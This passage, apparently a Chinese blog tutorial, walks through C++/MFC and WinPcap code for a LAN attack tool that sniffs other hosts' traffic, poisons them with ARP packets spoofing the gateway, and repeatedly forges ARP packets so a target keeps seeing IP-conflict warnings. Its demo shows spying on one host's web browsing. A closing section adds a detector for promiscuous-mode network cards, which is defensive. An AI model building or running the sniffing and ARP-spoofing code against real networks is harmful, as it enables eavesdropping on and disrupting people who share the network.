if (oldHostList[j].ip == hostList[i].ip) { hostList[i].sniffer = oldHostList[j].sniffer; hostList[i].ipConflict = oldHostList[j].ipConflict; hostList[i].arpCheat = oldHostList[j].arpCheat; break; } } } SetTimer(1, 20000, NULL); for (i = m_hostList.nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; m_hostList.SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)) )); if (hostList[i].sniffer == 0) m_hostList.SetText(j + 1, 2, "OFF"); else m_hostList.SetText(j + 1, 2, "ON"); str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 1, str); if (hostList[i].arpCheat == 0) m_hostList.SetText(j + 1, 3, "OFF"); else m_hostList.SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) m_hostList.SetText(j + 1, 4, "OFF"); else m_hostList.SetText(j + 1, 4, "ON"); } for (; j < 31; j++) { for (int k = 0; k < 5; k++) m_hostList.SetText(j + 1, k, "");
} m_hostList.Invalidate(); unsigned char mac[6]; memcpy(mac, mmac, 4); mac[5] = rand(); for (i = 0; i < currentHstIndex; i++) { unsigned long ip; if (hostList[i].arpCheat == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(gateip, ip, mac); //網關->欺騙IP } if (hostList[i].ipConflict == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(ip, 2, mac); } } memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST); oldHstIndex = currentHstIndex; currentHstIndex = 0; OnRecvPkt(); sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); CDialog::OnTimer(nIDEvent); }
Sniffer到需要監聽節點的報文后,sniffer線程會主動給對話框發送消息,以更新顯示:
void CNetHackerDlg::OnRecvPkt() { CString str;
for (int i = 1; i <= MAX_PACKET; i++) { if (!packetList[i - 1].srcIp) break; m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp)))); m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp)))); switch (packetList[i - 1].protocol) { case IPPROTO_TCP: m_packetList.SetText(i, 2, "TCP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_UDP: m_packetList.SetText(i, 2, "UDP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_ICMP: m_packetList.SetText(i, 2, "ICMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case IPPROTO_IGMP: m_packetList.SetText(i, 2, "IGMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case ARP: m_packetList.SetText(i, 2, "ARP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; } }
m_packetList.Invalidate(); }
"啟動"和"停止"按鈕的處理函數為:
void CNetHackerDlg::OnStartstopButton() { // TODO: Add your control notification handler code here char adapter[200]; struct sockaddr_in sin; m_adapterList.GetWindowText(adapter, 200); if (m_runStatus == STOP) { lpadapter = PacketOpenAdapter(adapter); if (!lpadapter || (lpadapter->hFile == INVALID_HANDLE_VALUE)) { MessageBox("PacketOpenAdapter Error", "網絡黑手", MB_ICONEXCLAMATION); return ; } if ((lppackets = PacketAllocatePacket()) == FALSE) { MessageBox("PacketAllocatePacket send Error", "網絡黑手", MB_ICONEXCLAMATION); return ; } for (d = alldevs; d; d = d->next) { if (strcmp(d->name, adapter) == 0) { sin = *(struct sockaddr_in*)(d->addresses->addr); myip = ntohl(sin.sin_addr.s_addr); break; } } m_hostList.SetText(1, 0, "正在獲取..."); m_hostList.SetText(1, 1, "正在獲取...");
m_hostList.Invalidate(); m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); m_gateip.GetAddress(gateip); memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); memset(mmac, 0, 6); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); SetTimer(1, 100, NULL); //啟動定時器 SetDlgItemText(IDC_STARTSTOP_BUTTON, "停止"); m_runStatus = START; } else { TerminateThread(rthread, 0); CloseHandle(rthread); TerminateThread(sthread, 0); CloseHandle(sthread); currentHstIndex = 0; sthread = 0; rthread = 0; oldHstIndex = 0; SetDlgItemText(IDC_STARTSTOP_BUTTON, "開始"); m_runStatus = STOP; PacketCloseAdapter(lpadapter); KillTimer(1); } }
下面我們來介紹"ARP欺騙"和"報告IP沖突"的實現方法。ARP欺騙很簡單,發送一個ARP報文,目的IP為攻擊目標,源IP為局域網網關,源MAC地址瞎弄一個或弄成自己的即可:
SendArpReq(gateIp, desIp,mmac);
"報告IP沖突"的實現方法是,發送一個ARP報文,源IP為攻擊目標,目的IP瞎弄一個,MAC地址也瞎弄一個:
SendArpReq(desIp, 2,mac);
為了不斷的騷擾對方,我們可以弄個定時器,在OnTimer()的時候就給需要欺騙的目標整一個偽造報文:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { //… for (int i = 0; i < currentHstIndex; i++) { if (hostList[i].arpCheat == 1) { SendArpReq(gateIp, desIp, mmac); } if (hostList[i].ipConflict == 1) { SendArpReq(desIp, 2, mac); } } }
最后,因為對話框程序的回車鍵會產生與按下OK按鈕同樣的效果,即對話框程序會關閉,而我們的上述程序不需要OK按鈕,因此,可以直接覆蓋OnOk()函數,相關代碼為:
class CNetHackerDlg: public CDialog { //... // Generated message map functions //{{AFX_MSG(CNetHackerDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnStartstopButton(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnRecvPkt(); afx_msg void OnOk(); //OK按鈕處理函數 //}}AFX_MSG //... }; BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog) //{{AFX_MSG_MAP(CNetHackerDlg) ON_WM_SYSCOMMAND()
ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton) ON_BN_CLICKED(IDOK,OnOk) //OK按鈕消息影射 ON_WM_TIMER() ON_MESSAGE(RECV_PKT, OnRecvPkt) //}}AFX_MSG_MAP END_MESSAGE_MAP() void CNetHackerDlg::OnOk() { CAboutDlg dlg; dlg.DoModal(); }
上述的OK按鈕處理函數將彈出軟件的關于(About)對話框,這樣,在對話框的任意位置按下回車鍵,將彈出關于對話框,效果如下:
最后,因為程序包括了Winpcap相關.dll及其他.dll的引用,因此,我們應該在程序的適當地方進行如下聲明:
#pragma comment(lib,"Packet.lib") #pragma comment(lib,"wpcap.lib") #pragma comment(lib,"Ws2_32.lib")
2、網絡黑手終結者的實現 "網絡黑手終結者"用于搜索局域網內處于混雜模式的網卡并將其列出,檢測其是否正在使用的是"網絡黑手"(對方可能使用其他工具使網卡處于混雜模式),如果是,我們可以通過"黑手狀態"一列來終結對方正在使用的"網絡黑手"。 檢測局域網內處于混雜模式網卡的原理如下: 正常的ARP請求使用FF-FF-FF-FF-FF-FF這個MAC地址為目標,這個是一個正規的廣播地址,網卡不管處于正常模式還是混雜,都會接收并 傳遞給系統核心。但是,為了偵查混雜模式的網卡,我們以FF-FF-FF-FF-FF-FE為目標發送ARP請求。假設對方網卡處于混雜模式,它就會接受 這個ARP請求并提交給系統核心。巧就巧在操作系統在檢測MAC層廣播地址時,不會檢查所有的字節,即它可能認為FF-FF-XX-XX-XX-XX就等 同于FF-FF-FF-FF-FF-FF,并給出ARP回復。所有的Windows操作系統都是如此。顯然,最保險的是以FF-FF-FF-FF-FF- FE為目標發送ARP請求,處于混雜模式的網卡會接收該報文而正常的網卡則不會接收,混雜模式的網卡接收到ARP請求提交系統核心后,會發送ARP回復, 憑此可以確定該節點一定處于混雜模式。ArpKiller軟件也是基于上述原理展開的。 "網絡黑手終結者"的界面如下:
創建界面中表格及獲得網卡列表、對話框初始化的代碼如下:
BOOL CNetHackerKillDlg::OnInitDialog() { CDialog::OnInitDialog();
// Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX &0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu *pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here int i = 0; char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(&alldevs, errbuf) == - 1) { MessageBox("獲得網絡適配器列表失敗,請確認您正確安裝了WINPCAP!", "網絡黑手", MB_ICONEXCLAMATION); GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); } /* 輸出列表 */ for (d = alldevs; d; d = d->next) { CString str(d->name); if (str.Find("//Device//NPF_Generic", 0) == - 1) m_adapterList.AddString(str);
} m_hostList.Create(CRect(12, 114, 435, 322), this, 1000); m_hostList.SetCols(4); m_hostList.SetRows(16); for (i = 0; i < 16; i++) { m_hostList.SetRowHeight(i, 13); for (int j = 0; j < 5; j++) { m_hostList.SetAlignment(i, j, DT_CENTER); } } m_hostList.SetColWidth(0, 120); m_hostList.SetColWidth(1, 140); m_hostList.SetColWidth(2, 100); m_hostList.SetColWidth(3, 62); m_hostList.SetColWidth(4, 62); m_hostList.SetText(0, 0, "IP地址"); m_hostList.SetText(0, 1, "MAC地址"); m_hostList.SetText(0, 2, "是否網絡黑手"); m_hostList.SetText(0, 3, "黑手狀態"); return TRUE; // return TRUE unless you set the focus to a control }
簡單的修改ARP請求函數的目標地址:
void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { //… eth.eh_dst[5]=0xfe; //… }
GetData()函數則不再需要偵聽報文:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off;
ETHDR *eth; ARPHDR *arp; char *buf, *pChar, *base; struct bpf_hdr *hdr; ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer; off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen; pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen); eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR)); if (eth->eh_type == htons(ETH_IP)) { continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++;
} } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); } } }
如何判斷處于混雜模式的主機是否使用的是"網絡黑手"呢?又如何終止對方"網絡黑手"的使用呢?道理很簡單,我們只需要在"網絡黑手"與"網絡黑手終結者"之間約定一套通信協議,按照該協議進行控制。剩下的工作留給讀者朋友了。 3、攻防演示 下面的界面顯示了搜索局域網內192.168.1.1~192.168.1.30范圍內的節點并偵聽192.168.1.2,我們簡單的抓一些報文后按 下"停止",看看其中的一個TCP報文,簡單的信息讓我們看出對方正在上http://www.sina.com.cn這個網頁。 我們完全可以把網絡黑手做的更牛X一點,對應用層報文進行分析,從而完整地監視目標的行為。 現在我們給目標192.168.1.2 偽造ARP報文讓其一直被提示IP沖突"IP地址與網絡上的其他系統有沖突",抓圖如下:
我們用"ArpKiller"或者"網絡黑手終結者"都可以掃描出局域網內處于混雜模式的主機,如果確定對方使用的是"網絡黑手",在表格的黑手狀態項目對應的行里雙擊,就會給"網絡黑手"發送終止報文,"網絡黑手"軟件將自動關閉。
總結
以上是生活随笔為你收集整理的raw socket的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 液压系统管路流速推荐表_(整理)液压系统
- 下一篇: 如何判断绩效管理系统实施是否有效